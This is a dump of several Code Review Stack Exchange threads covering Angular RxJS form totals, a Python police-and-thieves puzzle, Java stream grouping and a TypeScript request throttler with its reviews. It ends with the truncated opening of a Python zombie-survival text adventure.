"body": "<ol>\n<li>Do I have any memory leaks?</li>\n</ol>\n\n<pre><code>No\n</code></pre>\n\n<ol start=\"2\">\n<li>Why is it if I stick debounceTime(1) inside the lineItem valueChanges then this stops working where the calculation is out by the last change?</li>\n</ol>\n\n<blockquote>\n <p>Beacuse debounceTime(1) delays the response by 1ms inside the lineItem\n and <code>this.linesChange.emit(value['lines']);</code> is already run with old\n total</p>\n</blockquote>\n\n<p>The implementation below will sort your problems.</p>\n\n<pre><code> getLineFormGroup(): FormGroup {\n let lineItem = this.fb.group({\n quantity: new FormControl(),\n rate: new FormControl(),\n total: new FormControl()\n });\n lineItem.valueChanges.pipe(\n takeUntil(this.destroyed$),\n debounceTime(20)\n ).subscribe(value => \n { \n console.log(\"should be called first\")\n this.calcTotal(lineItem)\n\n if (!this.formGroup.valid) {\n return;\n }\n this.linesChange.emit(this.formGroup.value['lines']);\n }\n )\n return lineItem\n}\n</code></pre>\n\n<ol start=\"3\">\n<li>Why is it if I remove the {emitEvent: false} and put in a debounceTime as above the total stops working altogether?</li>\n</ol>\n\n<blockquote>\n <p>The lineItem.valueChanges observable will fire in a circular fashion\n when you remove this {emitEvent: false}.\n line.controls['total'].setValue() will fire lineItem.valueChanges\n again. Which in-turn crashes the app and stop.</p>\n</blockquote>\n\n<ol start=\"4\">\n<li>Should i be using some other way like combineLatest? If so how do I collect the valueChanges observables (I'll figure it out from here if this is required)?</li>\n</ol>\n\n<blockquote>\n <p>I would suggest not required</p>\n</blockquote>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-23T18:06:22.473",
"Id": "222817",
"ParentId": "222712",
"Score": "1"
}
}
] | {
"AcceptedAnswerId": "222817",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-21T15:01:10.553",
"Id": "222712",
"Score": "1",
"Tags": [
"typescript",
"angular-2+",
"rxjs"
],
"Title": "FormArray total of each formgroup via RxJS"
} | 222712 |
<blockquote>
<p>Given an array of size n that has the following specifications:</p>
<p>Each element in the array contains either a policeman or a thief.</p>
<p>Each policeman can catch only one thief.</p>
<p>A policeman cannot catch a thief who is more than K units away from the policeman.</p>
<p>We need to find the maximum number of thieves that can be caught.</p>
</blockquote>
<p>Here's code for policemen catch thieves written in Python3, I would like feedback/suggestions.</p>
<pre><code>import random
def tp_build(n):
thief_police = []
for i in range(n):
thief_police.append(random.choice(['T', 'P']))
return thief_police
def catch(k=2, n=10):
tp_list = tp_build(n)
print('List: %s' % tp_list)
if 'P' not in tp_list:
return 'No Police!'
if 'T' not in tp_list:
return 'No Thieves!'
p_indexes = []
t_indexes = []
for i in range(n):
if tp_list[i] == 'P':
p_indexes.append(i)
elif tp_list[i] == 'T':
t_indexes.append(i)
combinations = []
for limit in range(1, k + 1):
for police in p_indexes:
if police + limit in t_indexes:
combinations.append((police, police + limit))
for police in p_indexes:
if police - limit in t_indexes:
combinations.append((police, police - limit))
p_list = []
t_list = []
for i, j in combinations:
p_list.append(i)
t_list.append(j)
new_p = []
new_t = []
for i in p_list:
if i not in new_p:
new_p.append(i)
for j in t_list:
if j not in new_t:
new_t.append(j)
final_combinations = list(zip(new_p, new_t))
print('Number of thieves caught: %s'%(len(final_combinations)))
return len(final_combinations)
if __name__ == '__main__':
for i in range(100):
catch()
</code></pre>
| [] | [
{
"body": "<h2>Bugs</h2>\n\n<p>You <code>return 'No Police!'</code> instead of returning 0, but you don't check the return value. You might consider printing the string and returning 0 instead. Likewise for the no-thieves case.</p>\n\n<h2>Style</h2>\n\n<p>You are nominally compliant with pep-8, but your style is very much a beginner style. Why do you have variables named <code>t_list</code> and <code>p_list</code>? Do you really think that the <code>_list</code> part of the name is the most important, and likely to be overlooked by readers? </p>\n\n<p>When choosing a name, you should almost always avoid using the type of the data in the name (1). After all, the type might change! (For example, you might switch from a list to a dict for storage.) </p>\n\n<p>(1): Except when the type is the important part, like if you're writing a type conversion function (str2int or wav2mp3 or something).</p>\n\n<h2>Iteration</h2>\n\n<p>You are missing some tricks of Python iteration. First, let's look at your <code>tp_build</code> function:</p>\n\n<pre><code>def tp_build(n):\n thief_police = []\n for i in range(n):\n thief_police.append(random.choice(['T', 'P']))\n return thief_police\n</code></pre>\n\n<p>This code is a one-off \"helper\" that does a job that is described in the problem statement: generate a random array of police & thieves. Because it's simple and the requirements are clearly explained by the problem statement, you don't need to worry about documenting this, or leaving the code spelled out for comprehensibility. So just use a <a href=\"https://docs.python.org/3/reference/expressions.html#displays-for-lists-sets-and-dictionaries\" rel=\"noreferrer\">list comprehension</a> and shorten that code a lot (also, strings are iterable):</p>\n\n<pre><code>def tp_build(n):\n return [random.choice(\"TP\") for _ in range(n)]\n</code></pre>\n\n<p>In your ``catch` function, you have a lot of iteration. Again, you're writing too-simple loops when you could get clarity and performance from Python features. </p>\n\n<pre><code>p_indexes = []\nt_indexes = []\nfor i in range(n):\n if tp_list[i] == 'P':\n p_indexes.append(i)\n elif tp_list[i] == 'T':\n t_indexes.append(i)\n</code></pre>\n\n<p>In this paragraph, you construct lists of the indexes of the different characters. If you're going to look up the value of <code>tp_list[i]</code>, you should just use <code>enumerate</code>:</p>\n\n<pre><code>p_indexes = []\nt_indexes = []\nfor i, ch in enumerate(tp_list):\n if ch == 'P':\n p_indexes.append(i)\n else:\n t_indexes.append(i)\n</code></pre>\n\n<p>Of course, this is another case where you could use comprehensions. In theory, this is twice as slow. In practice, the comprehension might be faster because Python knows how to speed it up. You'll have to check it:</p>\n\n<pre><code>p_indexes = [i for i in range(n) if tp_list[i] == 'P']\nt_indexes = [i for i in range(n) if tp_list[i] == 'T']\n</code></pre>\n\n<h2>Clarity</h2>\n\n<p>You don't provide a function level comment explaining your algorithm, and frankly it's not obvious to me. Obviously you are pairing some police with some thieves. But it would be helpful if you explained what/how your pairing mechanic was, and why you felt it produced a best-possible result. In cases where there are potential conflicts between pairings, how do you decide which to choose, and why?</p>\n\n<p>Also, note that at the end you are doing a lot of unnecessary work. </p>\n\n<pre><code>new_p = []\nnew_t = []\nfor i in p_list:\n if i not in new_p:\n new_p.append(i)\nfor j in t_list:\n if j not in new_t:\n new_t.append(j)\nfinal_combinations = list(zip(new_p, new_t))\nprint('Number of thieves caught: %s'%(len(final_combinations)))\nreturn len(final_combinations)\n</code></pre>\n\n<p>First, you make <code>new_p</code> and <code>new_t</code>. (Which aren't new: bad names.) You make them contain unique members of a previous list. Then you <code>zip</code> them together. The effect of <code>zip</code> is to stop when the shortest source iterable is exhausted. Then you compute the <code>len</code> of the result.</p>\n\n<p>Effectively, you're asking for the length of the shortest unique group of indexes. Since order really doesn't matter here (you're using the <code>len</code> of the result) you can use a <code>set</code>. And since you just care about the length, you don't need to <code>zip</code> them, just compare their lengths:</p>\n\n<pre><code>catches = min(len(set(p_list)), len(set(t_list)))\nprint('Number of thieves caught: %d' % catches)\nreturn catches\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-21T16:53:23.373",
"Id": "222722",
"ParentId": "222714",
"Score": "8"
}
}
] | {
"AcceptedAnswerId": "222722",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-21T15:05:28.360",
"Id": "222714",
"Score": "5",
"Tags": [
"python",
"python-3.x",
"programming-challenge"
],
"Title": "Policemen catch thieves"
} | 222714 |
<p>I was refactoring an ugly piece of code, and I'm unsure if there is a better way of doing this, and whether I'm overdoing it with streams. </p>
<p>Basically I get a bunch of columns, which should be grouped by the name of the sheet they belong to, so that I can return a map of sheet names to a set of column names. </p>
<p>BTW, I can't change the return type (I know it should be a MultiMap).</p>
<pre><code>@Override
public Map<String, Set<String>> getReferencedColumnNames(String columnName) {
return _formulaSheetSchema.column(columnName).get().formula()
.computeReferencedColumns(getSheetName()).stream()
.collect(groupingBy(
ColumnRef::sheetName,
LinkedHashMap::new,
collectingAndThen(toSet(), set ->
set.stream().map(ColumnRef::columnName).collect(toSet()))));
}
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-29T08:18:46.813",
"Id": "432407",
"Score": "0",
"body": "This question is incomplete. To help reviewers give you better answers, please add sufficient context to your question. The more you tell us about what your code does and what the purpose of doing that is, the easier it will be for reviewers to help you. [Questions should include a description of what the code does](//codereview.meta.stackexchange.com/q/1226)"
}
] | [
{
"body": "<p>I'd format this code slightly differently:</p>\n\n<pre><code>return _formulaSheetSchema.column(columnName).get()\n .formula()\n .computeReferencedColums(getSheetName()).stream()\n .collect(groupingBy(ColumnRef::sheetName,\n LinkedHashMap::new,\n collectingAndThen(toSet(), set -> set.stream()\n .map(ColumnRef::columnName).collect(toSet())));\n</code></pre>\n\n<p>Also the downstream operation you use here is wasteful, because it collects the set and then restreams it. Instead use the <code>mapping</code> collector:</p>\n\n<pre><code> .collect(groupingBy(ColumnRef::sheetName,\n mapping(ColumnRef::columnName, toSet()));\n</code></pre>\n\n<p>Sidenote: I personally prefer using 2-space indents across the board, but this formatting works with 4-space indents just as well...</p>\n\n<p>Additionally the <code>_</code>-prefix for instance variables is something I dislike, but so long as you're consistent about it, that should be fine.</p>\n\n<p>I also dislike that you're not checking whether the column actually exists, before accessing it's formula. </p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-22T21:28:00.830",
"Id": "431378",
"Score": "0",
"body": "Thank you, that looks better, the `collectingAndThen` felt really clunky. The `get()` is safe in that context (there are sheet types without formulas, but the code is actually in a formula sheet)."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-21T20:05:48.787",
"Id": "222730",
"ParentId": "222716",
"Score": "1"
}
}
] | {
"AcceptedAnswerId": "222730",
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-21T15:32:17.187",
"Id": "222716",
"Score": "0",
"Tags": [
"java"
],
"Title": "Java Streams: Grouping to a Map"
} | 222716 |
<p>I was working on a client for a remote api and realized that I needed to throttle requests at a maximum rate of 4 Hertz (4 requests per second). I wrote a simple typescript class to do it and wanted to solicit code review. It basically should accept a <code>() => Promise<R></code> and return a <code>Promise<R></code> that resolves once executed by the queue.</p>
<p>My prototype solution is here, and I'd just like to solicit feedback for it. Original code <a href="https://codesandbox.io/s/throttled-promises-3pscr" rel="nofollow noreferrer">here</a>.</p>
<pre><code>/**
* Request throttle has an add() method which takes a () => Promise<string>
* and queues the promise to be executed in order.
* add() returns a promise that resolves with the original promise result.
*/
class RequestThrottle {
stack = [];
spacing = 1000;
add: (req: () => Promise<string>) => Promise<string> = req => {
let executor;
const requestPromise: Promise<string> = new Promise((resolve, _reject) => {
let localExecutor = () => {
resolve(req());
};
executor = localExecutor;
});
this.stack.push(executor);
return requestPromise;
};
pullAndExecute = () => {
const op: () => Promise<string> = this.stack.shift();
// if (op) console.log("throttle found:", op);
if (op) op();
};
interval = setInterval(this.pullAndExecute, this.spacing);
stop = () => clearInterval(this.interval);
}
const throttle = new RequestThrottle();
/**
* Promise tester - to add a bit of extra async operations
* (eg a network request to an api)
* */
const addChild: (c: number | string) => Promise<string> = count => {
const list = document.getElementById("list");
const node = document.createElement("LI");
node.innerHTML = count.toString();
list.appendChild(node);
const promise: Promise<string> = new Promise(resolve =>
setTimeout(() => {
log(`added "${count}"`);
}, 500)
);
return promise;
};
const log = (s: string) => {
const list = document.getElementById("log");
const node = document.createElement("pre");
node.innerHTML = s;
list.appendChild(node);
};
addChild("Starting a List").then(console.log);
const enqueue: (i: number | string) => () => Promise<string> = i => {
console.log("enqueueing " + i);
return () => {
return addChild(i);
};
};
for (var i in [1, 2, 3, 4, 5, 6]) {
throttle.add(enqueue(i)).then(console.log);
}
</code></pre>
| [] | [
{
"body": "<p>The most important advice I can offer is to turn on <code>strictNullChecks</code> and <code>noImplicitAny</code>. Without these settings, TypeScript's ability to warn you about problems in your code is severely limited.</p>\n\n<p>Doing this first, TypeScript reveals several problems (Ignoring errors from your tests, you just need a <code>!</code> assertion):</p>\n\n<pre><code>test.ts:19:21 - error TS2345: Argument of type 'undefined' is not assignable to parameter of type 'never'.\n\n19 this.stack.push(executor);\n ~~~~~~~~\n\ntest.ts:24:11 - error TS2322: Type 'undefined' is not assignable to type '() => Promise<string>'.\n\n24 const op: () => Promise<string> = this.stack.shift();\n ~~\n</code></pre>\n\n<p>None of these errors are particularly difficult to fix. First, we need to define the type of <code>stack</code>. Right now, as it is assigned <code>[]</code>, the inferred type is <code>[]</code> (an empty tuple). If we look at the type of functions added to it in <code>add</code>, we see that a function of type <code>() => void</code> is added, so declare that.</p>\n\n<pre><code>class RequestThrottle {\n stack: (() => void)[] = [];\n</code></pre>\n\n<p>This change will change the reported errors slightly, giving us more useful error messages.</p>\n\n<pre><code>test.ts:19:21 - error TS2345: Argument of type 'undefined' is not assignable to parameter of type '() => void'.\n\n19 this.stack.push(executor);\n ~~~~~~~~\n\ntest.ts:24:11 - error TS2322: Type '(() => void) | undefined' is not assignable to type '() => Promise<string>'.\n Type 'undefined' is not assignable to type '() => Promise<string>'.\n\n24 const op: () => Promise<string> = this.stack.shift();\n ~~\n</code></pre>\n\n<p>The next problem is caused by <code>let executor;</code>. Since no type has been declared, TypeScript will implicitly type the variable as <code>any</code>. You <em>could</em> fix this by typing <code>executor</code> as <code>(() => void) | undefined</code> and then asserting that it has been set after executing the promise, but it is simpler to just add the function to <code>stack</code> within the promise.</p>\n\n<p>At the same time, declaring the <code>add</code> function as a property instead of an arrow function on the class (like you did with <code>pullAndExecute</code>) is kind of weird. I'd prefer this style:</p>\n\n<pre><code>class RequestThrottle {\n stack: (() => void)[] = [];\n spacing = 1000;\n\n add = (req: () => Promise<string>): Promise<string> => {\n return new Promise<string>((resolve) => {\n this.stack.push(() => {\n resolve(req());\n });\n });\n };\n</code></pre>\n\n<p>This resolves the first issue, the second issue can be easily resolved by dropping the erroneous <code>Promise<string></code> type on <code>op</code> in the <code>pullAndExecute</code> function.</p>\n\n<pre><code>class RequestThrottle {\n stack: (() => void)[] = [];\n spacing = 1000;\n\n add = (req: () => Promise<string>): Promise<string> => {\n return new Promise<string>((resolve) => {\n this.stack.push(() => {\n resolve(req());\n });\n });\n };\n\n pullAndExecute = () => {\n const op = this.stack.shift();\n if (op) op();\n };\n\n interval = setInterval(this.pullAndExecute, this.spacing);\n\n stop = () => clearInterval(this.interval);\n}\n</code></pre>\n\n<p>Next we must consider the access level of each member. <code>add</code> should obviously be public. Similarly, it makes sense for <code>stop</code> to be public. But <code>stack</code>, <code>spacing</code>, <code>interval</code> and <code>pullAndExecute</code> are all implementation details. Users of this class shouldn't need to care (or even know) that they exist. They should all be marked as <code>private</code>.</p>\n\n<p>Despite this... users might want to be able to specify <code>spacing</code> when using the class. There are two ways to meet this need. Either let the user specify it in the constructor, or add a <code>start</code> method that starts the interval. I prefer the <code>start</code> solution.</p>\n\n<pre><code>class RequestThrottle {\n private stack: (() => void)[] = [];\n private interval = 0;\n\n add = (req: () => Promise<string>): Promise<string> => {\n return new Promise<string>((resolve) => {\n this.stack.push(() => {\n resolve(req());\n });\n });\n };\n\n private pullAndExecute = () => {\n const op = this.stack.shift();\n if (op) op();\n };\n\n start = (spacing = 1000) => {\n this.stop();\n this.interval = setInterval(this.pullAndExecute, spacing);\n };\n\n stop = () => clearInterval(this.interval);\n}\n</code></pre>\n\n<p>Note that in the <code>start</code> method I call <code>stop</code> first. This is to ensure that we don't have multiple <code>queue</code> consuming clocks running at once.</p>\n\n<p>Now, you mentioned that you wanted this class to work with a <code>Promise<R></code>. As written, it will only let you use <code>Promise<string></code>. Thankfully, this is a trivial fix, we just need to make the <code>add</code> method generic.</p>\n\n<pre><code> add = <R>(req: () => Promise<R>): Promise<R> => {\n return new Promise<R>((resolve) => {\n this.stack.push(() => {\n resolve(req());\n });\n });\n };\n</code></pre>\n\n<p>With all these changes together, the class becomes:</p>\n\n<pre><code>class RequestThrottle {\n private stack: (() => void)[] = [];\n private interval = 0;\n\n add = <R>(req: () => Promise<R>): Promise<R> => {\n return new Promise<R>((resolve) => {\n this.stack.push(() => {\n resolve(req());\n });\n });\n };\n\n start = (spacing = 1000) => {\n this.stop();\n this.interval = setInterval(this.pullAndExecute, spacing);\n };\n\n stop = () => clearInterval(this.interval);\n\n private pullAndExecute = () => {\n const op = this.stack.shift();\n if (op) op();\n };\n}\n</code></pre>\n\n<p>A couple other notes:</p>\n\n<ol>\n<li><p>Don't use <code>for .. in</code> to iterate over arrays. Use <code>for .. of</code> instead.</p>\n\n<pre><code>for (const i of [1, 2, 3, 4, 5, 6]) {\n throttle.add(enqueue(i)).then(console.log);\n}\n</code></pre></li>\n<li><p>Don't make promises that can never be resolved or rejected. In <code>addChild</code>, the promise will never be resolved.</p></li>\n<li><p>Should <code>RequestThrottle</code> throttle based on promise starts or promise resolves? Currently it throttles based on the initial call of a function... but if that function takes more than <code>spacing</code> to resolve, you could have multiple promises waiting at once. This might be desired, but it is something to consider.</p></li>\n</ol>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-30T19:03:18.893",
"Id": "432553",
"Score": "0",
"body": "Love this! Thank you."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-07-10T12:25:20.593",
"Id": "434082",
"Score": "0",
"body": "Can I ask what you meant about needing a `!` assertion? I'm not familiar with this."
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-29T17:14:47.317",
"Id": "223208",
"ParentId": "222719",
"Score": "4"
}
}
] | {
"AcceptedAnswerId": "223208",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-21T15:56:07.037",
"Id": "222719",
"Score": "3",
"Tags": [
"timer",
"typescript",
"promise"
],
"Title": "Throttling promise execution (API requests, etc)"
} | 222719 |
<p>This is a story-based adventure program I coded by myself (forgive the length). It took a long time but it was fun. It includes loading times, changes in relationships, relationship levels, storyline and possible outcomes, user input with xbox-style options, function calling and more. Your choices determine the outcomes and scenarios you land yourself in. Relationships go up or down(+x, -x) depending on your choices. In the end, the code prints all the choices you made and the impact on your community. </p>
<pre><code>import time
def long_sleep():
for num in range(5):
time.sleep(1)
print('Loading...')
def short_sleep():
for num in range(3):
time.sleep(1)
print('Loading...')
#loading times
choices = []
synopsis = '''13 December 2027. A year into the zombie apocolypse, you are the young leader of a small, demoralized group in the middle of nowhere, fighting for a chance to see
light at the end of the tunnel. By September of next year, your group has grown greatly but that does not mean that your community on the brink of collapse. You must the make
tough political decisions to determine how your community fares.'''
vengeful = 'VENGEFUL.'
hateful = 'HATEFUL.'
disappointed = 'DISAPPOINTED.'
conflicted = 'CONFLICTED/NUETRAL.'
satisfied = 'SATISFIED.'
happy = 'HAPPY.'
prosperous = 'PROPEROUS'
#relationship levels
army_government = 'ARMY & GOVERNMENT'
civilian = 'CIVILIANS'
everybody = 'EVERYBODY'
civil_great_increase = ' This greatly improves your relationship with ' + civilian + '.'
civil_increase = ' This improves your relationship with ' + civilian + '.'
civil_slight_increase = ' This slightly improves your relationship with ' + civilian + '.'
civil_slight_decrease = ' This slightly decreases your relationship with ' + civilian + '.'
civil_decrease = ' This worsens your relationship with ' + civilian + '.'
civil_great_decrease = ' This greatly worsens your relationship with ' + civilian + '.'
army_great_decrease = ' This greatly worsens your relationship with ' + army_government + '.'
army_decrease = ' This worsens your relationship with ' + army_government + '.'
army_slight_decrease = ' This slightly decreases your relationship with ' + army_government + '.'
army_slight_increase = ' This slightly improves your relationship with ' + army_government + '.'
army_increase = ' This improves your relationship with ' + army_government + '.'
army_great_increase = ' This greatly improves your relationship with ' + army_government + '.'
everybody_great_increase = ' This greatly improves your relationship with ' + everybody + '.'
everybody_increase = ' This improves your relationship with ' + everybody + '.'
everybody_slight_increase = ' This slightly improves your relationship with ' + everybody + '.'
everybody_slight_decrease = ' This sligtly decreases your relationship with ' + everybody + '.'
everybody_decrease = ' This worsens your relationship with ' + everybody + '.'
everybody_great_decrease = ' This greatly worsens your relationship with ' + everybody + '.'
traitor = ' ' + everybody + ' wants you dead.'
hero = ' ' + everybody + ' looks to you as a hero. '
winter = '\n' + '''29 January 2029. It is five weeks into winter and the season shows no mercy. A drought happened for a majority of the last fall and it devastated
the food supply. As your community dives deeper into the winter, you realize that your supply will run out if consumption is not altered. You could do one of two options: reduce
consumption among civilians, or ignore the risk and take a chance([ALTER SUPPLY]X} {B[IGNORE RISK]).''' + '\n> '
alter_supply = '\n' + '''Your government is now seen as selfish. You took the risk to protect the important people and "do your best with the rest". You have suffered heavy
civilian losses but your army and government losses have been few. As a result, there is division and danger in the streets. Riots breaking out, murders, arson, all happening in
your community.''' + civil_great_decrease
ignore_risk = '\n' + '''Your community did better than expected during the period. That is until you ran out of food in early March. Now you rely solely on scavenging,
risking getting devoured by zombies in order to go another day. Half your community is either dead or lost with great amount of casualties from civilians and
non-civilians.''' + army_great_decrease
spring = '\n' + '''27 March 2029. One way or another, you have made through the harsh winter and now must face a totally obstacle that could jeopardize your
survival. A group of violent, hostiles target your community and threaten to overtake it if not their demands are met([DEFEND]X} [MERGE]B} [NEGOTIATE]A})''' + '\n> '
defend_alter_supply = '\n' + '''It was a tough battle but it was victory in the end. You sucessfully fended off the hostiles. Your army took a heavy blow but it is still intact.
Tensions are even worse though as hostile sympathizers were suppresed all around the community.''' + civil_decrease
merge_alter_supply = '\n' + '''You have sucessfully merged with hostiles giving most of what is owned to them. Civilians have actually commended this call in hopes of being
treated better. Nobody was harmed.''' + civil_increase + army_slight_decrease
negotiate_alter_supply = '\n' + '''You have sucessfully made a deal with the hostiles giving a large amount of resources in order to keep some peace. Your strugling-to-survive
civilians are irate with having to deal with even worse conditions. The government and army is also starting to starve. There are few to work with and things are not
looking up soon.''' + everybody_great_decrease
defend_ignore_risk = '\n' + '''Your whole community got destroyed. Everyone is dead, nice one chief.'''
merge_ignore_risk = '\n' + '''You have sucessfully merged with hostiles giving most of what is owned to them. Everybody sees this as the best possible option to end the
famine.''' + everybody_increase
negotiate_ignore_risk = '\n' + '''The last portions of supplies have been all been swallowed by the hostiles. You are left with nothing, nice one chief.'''
outbreak = '\n' + '''22 May 2029. There was no problem in sight until one happened on this date. Civil-government relations even improved. West Nile virus has shaken your
community to the core. All healthy folks are in quarantine including you do treat the sick, which could heavily strain resources, or exile them, which could skyrocket tensions
between civilians and the government([TREAT]X} {B[EXILE])''' + '\n> '
outbreak_treat = '\n' + '''You have treated everyone with the sickness at a cost for low meds. Another epedemic happened a few weeks later, and you lost a lot of
people.''' + army_decrease + civil_increase
outbreak_exile = '\n' + '''You exiled the least useful to keep the most useful surviving. Though, resouces and supplies are stable and death is
rare.''' + civil_great_decrease + army_slight_increase
population = '\n' + '''2 June 2029. Everyone is starving in a famine worse than what you imagined. Once again people are dying of starvaton and once again it is your job
to decide what happens ([POPULATION REDUCTION]X} {B[DESPERATION])''' + '\n> '
population_reduce = '\n' + '''Remaining civilians resent this decision grealty calling it worse than cruel. However, resource control is the best way to avoid dying
out.''' + civil_great_decrease
population_desperation = '\n' + '''Your community's desperate attempts at sustaining itself failed horribly. Scavenging outside the safe zone, hunting, mining, even crimes
like robbery and cannibalism, all failed. Eventually you all died out. Nice one chief.'''
independence = '\n' + '''12 July 2029. Either everyone or the civilians came to a new home to hopefully recover from their famine. However how you all were treated is a
different story. You all were treated with inferiority, and rebuttal. You all were embarassed, mistreated and underfed. Now, you all are fed up and now want to devise a plan.
Folks however, are divided on whether an ([ESCAPE]X} [CRUSADE]B} [TALK]Y}) should happen.''' + '\n> '
independence_escape = '\n' + '''It took a few weeks to thoroughly plan out the escape. You gathered as much people as you could to take part. The execution was
mostly sucessful, stripping as much supplies from the hostiles as you could. There were few deaths. The enraged, devastated hostiles kill all of your remaining folk, whether
they were in for the plan or out. You return to home and have some heavy clean up to do''' + civil_great_increase + army_slight_increase
independence_crusade = '\n' + '''A lot of intelligence and thought was put into infiltrating and arming your people in a fight for their freedom. In the end the
mission was accomplished. If you altered the food supply, you did not lose much. If you took the risk, you lost a great deal of people. You take over their place and make it your
own after finding out it has closer proximity to vital resources.''' + army_great_increase + civil_slight_increase
new_independence = '\n' + '''You gather up your most persuasive minds to convince the hostiles away from their inhumane ways. This surprisingly, goes better
than expected and with some initiative taken, your people and theirs now work together in unity.''' + everybody_increase
election = '\n' + '''25 October 2029. For the rest of the summer and the early autumn, you bounced back and for once resources are not a priority if you have made it this far.
But, the problems never stop. A new polotician named Mr. Powell looks to takeover and "lead this community in the right direction" but you know, deep down, he is tyrannical. He
picking up steam rapidly. A lot of people want him as the leader. The election is next week and you must decide whether to sabatoge the eleciton for the safety of your
impressionable community or think of every possible compelling argument to sway your people into safety. ([SABOTAGE]X} {B[PERSUADE])''' + '\n> '
election_sabatoge = '\n' + '''You have sucessfully sabatoged and won the election and there is already suspicion in the results as most people picked the new person. Everyone is
irate with arson and riots breaking out all across the town. Everyone claims that the election was sabatoged but you hide the evidence that proves them
right.''' + civil_great_decrease
election_persuade = '\n' + '''You try your best to convince the crowd but fail as the crowd hangs on every word Mr. Powell says. He has taken over the town. In weeks his tyrannical
overtakes the town. Cruel actions like murdering innocent outsiders, killing the children and elderly, and decapitating those who sympathize, all take effect. Your community has
become the opposite of what you envisioned.''' + army_slight_decrease
upgrade = '\n' + '''14 November 2029. New Independence is now your new home, where the community thrives together on working to make the town a better place to live in. Different
types of people are divided on what should be big priority. ([ARMY]X} [RESILIENCY]B} [RESOURCES]Y} [SERVICES]A})''' + '\n> '
army = '\n' + '''An EF-5 tornado directly hit your way and killed everything in its path. Nice one chief.'''
resources = '\n' + '''An EF-5 tornado directly hit your way and killed everything in its path. Nice one chief.'''
services = '\n' + '''An EF-5 tornado directly hit your way and killed everything in its path. Nice one chief.'''
resiliency = '\n' + '''You have focused you attention at making your community hard to destroy. Additions like much tougher boundaries and an underground helped prepare your
community to sucessfully survive an EF-5 tornado directly hitting the town. But now you lost everything and will have to rebuild.''' + everybody_increase
ending_opportunity = '\n' + '''1 December 2029. After a few weeks of trying to rebuild you realize that reconstruction. You can't go back your old community beacuse there is
nothing there. So now your stuck. You went scavenging earlier before the tornado and found a living space that could keep a person going for months. However, it keeps ONE person
going for months. You are left to decide if survival is really that important. ([ABANDON]X} {B[PERSERVERE])''' + '\n> '
ending_abandon = '\n' + '''You left your community, with no leader, to die in exchange for your comfort. The community is irate and you will be killed on first sight if found.
Luckily, just before your food and supplies ran out, you found another community and you had few problems. You lived there for the rest of your life.''' + traitor
ending_perservere = '\n' + '''One by one, everyone fell out. With no necessities, your community died out. You where seen as loyal for sticking with your community until the end.
Nice one chief.'''
ending_terrorism = '\n' + '''6 February 2029. Mr. Powell is back and he is out for revenge from losing the election. He and his militia are destroying everything and everyone in
sight until he gets what wants. With only a few minutes before he arrives at your city hall, you and your army must decide to ([ATTACK]X} {B[RETREAT])''' + '\n> '
ending_attack = '\n' + '''You and your remaining army fought ferociousy against the bigger opposition. In the end, you won, but at a cost, destroyed the whole city. Few survived
being admist the exchange of explosives and gunfire. Your city is decimated but you stopped a major threat from taking over. It took two years before conditions returned to
normal'''
ending_retreat = '\n' + '''You most peaceful decision and left with your most trusted peers. You wandered off into unknown and eventually fit in with another community. A few
months later, you gathered up enough men to take back your old city. When you arrived, you discovered the city collapsed with decayed skeletons everywhere walked. It was a ghost
city.'''
ending_execution = '\n' + '''11 April 2030. You are about to be hanged for sympathizing against their standards. Everyone watches outside cheering and patiently awaiting your
death. When you asked for last words, you tried to ([CONVINCE THE CROWD]X} {B[KILL MR. POWELL]).''' '\n> '
ending_death = '\n' + '''You have died. The people heard your short speech and were compelled and related to it deeply. They were so emotional that no little time wasted to
overthrow Mr. Powell's government after you were executed. Soon a new leader was chosen to lead the community and ever since, they have advanced to be one of the most expansive
good guys in the apocolypse. They even found a cure.''' + hero
ending_kill = '\n' + '''Just before somebody could do something, you grabbed a soldier's AK-47 and AKed both him and Mr.Powell. You barely managed to escape the scene. You gathered
any remaining supporters to basically go on a warpath and kill as much army members as you could until they surrendered. You somehow succeedeed in this and basically took over by
force. This makes the people very unhappy but over time they realize how much you care.'''
the_end = '\n' + 'THE END'
army_relationship = 0
civil_relationship = 0
hero_traitor = 15
major_change = 2
change = 1
slight = 0.5
relationships = [army_relationship, civil_relationship, hero_traitor, major_change, change, slight]
army = relationships[0]
civil = relationships[1]
hero_betray = relationships[2]
major = relationships[3]
up = relationships[4]
down = relationships[4]
slightly = relationships[5]
def roadblock():
roadblock = 'Please enter a valid input'
print(roadblock)
def story():
situation_winter = str(input(winter))
if situation_winter == 'X':
short_sleep()
print(alter_supply)
relationships[1] -= major
spring_alter_supply()
choices.append('chose safety over risk')
elif situation_winter == 'B':
short_sleep()
print(ignore_risk)
relationships[0] -= major
spring_ignore_risk()
choices.append('chose risk over safety')
else:
roadblock()
def spring_alter_supply():
situation_spring = str(input(spring))
if situation_spring == 'X':
short_sleep()
print(defend_alter_supply)
relationships[1] -= down
sit_outbreak()
choices.append('chose defence over all')
elif situation_spring == 'B':
short_sleep()
print(merge_alter_supply)
relationships[1] += up
relationships[0] -= slightly
independence_missouri()
choices.append('chose merging over all')
elif situation_spring == 'A':
short_sleep()
print(negotiate_alter_supply)
relationships[0] -= major
relationships[1] -= major
populated()
choices.append('chose negotiation over all')
else:
roadblock()
def spring_ignore_risk():
situation_spring = str(input(spring))
if situation_spring == 'X':
short_sleep()
print(defend_ignore_risk)
choices.append('chose to defend and died')
elif situation_spring == 'B':
short_sleep()
print(merge_ignore_risk)
relationships[1] += up
relationships[0] += up
